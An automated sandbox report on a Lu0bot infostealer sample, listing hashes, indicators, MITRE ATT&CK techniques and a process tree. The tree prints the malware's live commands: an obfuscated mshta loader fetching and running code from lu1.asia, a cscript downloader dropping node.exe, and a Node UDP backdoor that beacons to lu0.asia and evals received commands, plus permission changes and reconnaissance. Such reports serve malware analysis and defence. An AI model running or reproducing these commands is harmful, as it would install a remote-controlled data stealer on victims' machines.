lu0bot | b93b8b99bdc14cb119ca0a51fe57c2da5aaa45d52a3f7121d31d675e4f900400

Analysis

max time kernel
150s
max time network
147s
platform
windows10_x64
resource
win10v20210408
submitted
28-06-2021 08:24

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General

Target

usfive_20210628-082923.exe
Size

2KB
MD5

c795c8a54b85afb25448b4a44cd0b3d1
SHA1

186c7780c92280c257e1caabc01c51194e1cdf22
SHA256

b93b8b99bdc14cb119ca0a51fe57c2da5aaa45d52a3f7121d31d675e4f900400
SHA512

38adf22ed46655024f96e6a0d1e5f4556bc9804f5b189b42d9d7d85ca72889ce6cbdfa9663cb442cfbe92d338f0494b4349c554ffbeb11d61b24a7bf504e72c4

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	2988	mshta.exe
11	184	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2292	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3188	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
508	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1588	ipconfig.exe
188	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2304	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\47e2604aec81bbde:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:0185a3f232da5e3a7f021be1f10876c7	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2292	node.exe
2292	node.exe
2292	node.exe
2292	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	508	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3844	wmic.exe
Token: SeSecurityPrivilege	3844	wmic.exe
Token: SeTakeOwnershipPrivilege	3844	wmic.exe
Token: SeLoadDriverPrivilege	3844	wmic.exe
Token: SeSystemProfilePrivilege	3844	wmic.exe
Token: SeSystemtimePrivilege	3844	wmic.exe
Token: SeProfSingleProcessPrivilege	3844	wmic.exe
Token: SeIncBasePriorityPrivilege	3844	wmic.exe
Token: SeCreatePagefilePrivilege	3844	wmic.exe
Token: SeBackupPrivilege	3844	wmic.exe
Token: SeRestorePrivilege	3844	wmic.exe
Token: SeShutdownPrivilege	3844	wmic.exe
Token: SeDebugPrivilege	3844	wmic.exe
Token: SeSystemEnvironmentPrivilege	3844	wmic.exe
Token: SeRemoteShutdownPrivilege	3844	wmic.exe
Token: SeUndockPrivilege	3844	wmic.exe
Token: SeManageVolumePrivilege	3844	wmic.exe
Token: 33	3844	wmic.exe
Token: 34	3844	wmic.exe
Token: 35	3844	wmic.exe
Token: 36	3844	wmic.exe
Token: SeIncreaseQuotaPrivilege	3844	wmic.exe
Token: SeSecurityPrivilege	3844	wmic.exe
Token: SeTakeOwnershipPrivilege	3844	wmic.exe
Token: SeLoadDriverPrivilege	3844	wmic.exe
Token: SeSystemProfilePrivilege	3844	wmic.exe
Token: SeSystemtimePrivilege	3844	wmic.exe
Token: SeProfSingleProcessPrivilege	3844	wmic.exe
Token: SeIncBasePriorityPrivilege	3844	wmic.exe
Token: SeCreatePagefilePrivilege	3844	wmic.exe
Token: SeBackupPrivilege	3844	wmic.exe
Token: SeRestorePrivilege	3844	wmic.exe
Token: SeShutdownPrivilege	3844	wmic.exe
Token: SeDebugPrivilege	3844	wmic.exe
Token: SeSystemEnvironmentPrivilege	3844	wmic.exe
Token: SeRemoteShutdownPrivilege	3844	wmic.exe
Token: SeUndockPrivilege	3844	wmic.exe
Token: SeManageVolumePrivilege	3844	wmic.exe
Token: 33	3844	wmic.exe
Token: 34	3844	wmic.exe
Token: 35	3844	wmic.exe
Token: 36	3844	wmic.exe
Token: SeDebugPrivilege	188	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 808 wrote to memory of 2988	808	usfive_20210628-082923.exe	73
PID 808 wrote to memory of 2988	808	usfive_20210628-082923.exe	73
PID 808 wrote to memory of 2988	808	usfive_20210628-082923.exe	73
PID 2988 wrote to memory of 2840	2988	mshta.exe	76
PID 2988 wrote to memory of 2840	2988	mshta.exe	76
PID 2988 wrote to memory of 2840	2988	mshta.exe	76
PID 2840 wrote to memory of 184	2840	cmd.exe	78
PID 2840 wrote to memory of 184	2840	cmd.exe	78
PID 2840 wrote to memory of 184	2840	cmd.exe	78
PID 2840 wrote to memory of 3752	2840	cmd.exe	79
PID 2840 wrote to memory of 3752	2840	cmd.exe	79
PID 2840 wrote to memory of 3752	2840	cmd.exe	79
PID 2840 wrote to memory of 3992	2840	cmd.exe	80
PID 2840 wrote to memory of 3992	2840	cmd.exe	80
PID 2840 wrote to memory of 3992	2840	cmd.exe	80
PID 3992 wrote to memory of 2292	3992	cscript.exe	81
PID 3992 wrote to memory of 2292	3992	cscript.exe	81
PID 3992 wrote to memory of 2292	3992	cscript.exe	81
PID 2292 wrote to memory of 2252	2292	node.exe	85
PID 2292 wrote to memory of 2252	2292	node.exe	85
PID 2292 wrote to memory of 2252	2292	node.exe	85
PID 2292 wrote to memory of 3876	2292	node.exe	86
PID 2292 wrote to memory of 3876	2292	node.exe	86
PID 2292 wrote to memory of 3876	2292	node.exe	86
PID 2292 wrote to memory of 3188	2292	node.exe	87
PID 2292 wrote to memory of 3188	2292	node.exe	87
PID 2292 wrote to memory of 3188	2292	node.exe	87
PID 2292 wrote to memory of 3032	2292	node.exe	88
PID 2292 wrote to memory of 3032	2292	node.exe	88
PID 2292 wrote to memory of 3032	2292	node.exe	88
PID 2292 wrote to memory of 2000	2292	node.exe	89
PID 2292 wrote to memory of 2000	2292	node.exe	89
PID 2292 wrote to memory of 2000	2292	node.exe	89
PID 2292 wrote to memory of 508	2292	node.exe	91
PID 2292 wrote to memory of 508	2292	node.exe	91
PID 2292 wrote to memory of 508	2292	node.exe	91
PID 2292 wrote to memory of 3844	2292	node.exe	92
PID 2292 wrote to memory of 3844	2292	node.exe	92
PID 2292 wrote to memory of 3844	2292	node.exe	92
PID 2292 wrote to memory of 1588	2292	node.exe	93
PID 2292 wrote to memory of 1588	2292	node.exe	93
PID 2292 wrote to memory of 1588	2292	node.exe	93
PID 2292 wrote to memory of 1856	2292	node.exe	94
PID 2292 wrote to memory of 1856	2292	node.exe	94
PID 2292 wrote to memory of 1856	2292	node.exe	94
PID 2292 wrote to memory of 188	2292	node.exe	95
PID 2292 wrote to memory of 188	2292	node.exe	95
PID 2292 wrote to memory of 188	2292	node.exe	95
PID 2292 wrote to memory of 2304	2292	node.exe	96
PID 2292 wrote to memory of 2304	2292	node.exe	96
PID 2292 wrote to memory of 2304	2292	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2000	attrib.exe
3032	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210628-082923.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210628-082923.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();8;y=unescape('%320%33%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%309').split('~');5;try{x='WinHttp';209;x=new ActiveXObject(x+'.'+x+'Request.5.1');192;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);133;x.send();151;y='ipt.S';71;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);65;}catch(e){};204;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624868739596.txt & cscript /nologo /e:jscript get1624868739596.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F2ea381a17%26b%3Dc667aae7" node.cab & expand node.cab node.exe & del get1624868739596.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624868739596.txt & cscript /nologo /e:jscript get1624868739596.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ea381a17%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624868739596.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1624868739596.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F2ea381a17%26b%3Dc667aae7" node.cab
      4⤵
      Blocklisted process makes network request
      PID:184
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:3752
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1624868739596.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ea381a17%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3992
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ea381a17%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2292
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2252
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3876
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3188
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:3032
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:2000
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:508
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3844
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:1588
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:1856
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:188
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:2304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2292-126-0x0000000026E00000-0x0000000026E01000-memory.dmp

Filesize
4KB

Download
memory/2292-127-0x000000002C700000-0x000000002C701000-memory.dmp

Filesize
4KB

Download
memory/2292-128-0x0000000005600000-0x0000000005601000-memory.dmp

Filesize
4KB

Download
memory/2292-129-0x0000000015A00000-0x0000000015A01000-memory.dmp

Filesize
4KB

Download
memory/2292-130-0x0000000036100000-0x0000000036101000-memory.dmp

Filesize
4KB

Download
memory/2292-125-0x0000000016300000-0x0000000016301000-memory.dmp

Filesize
4KB

Download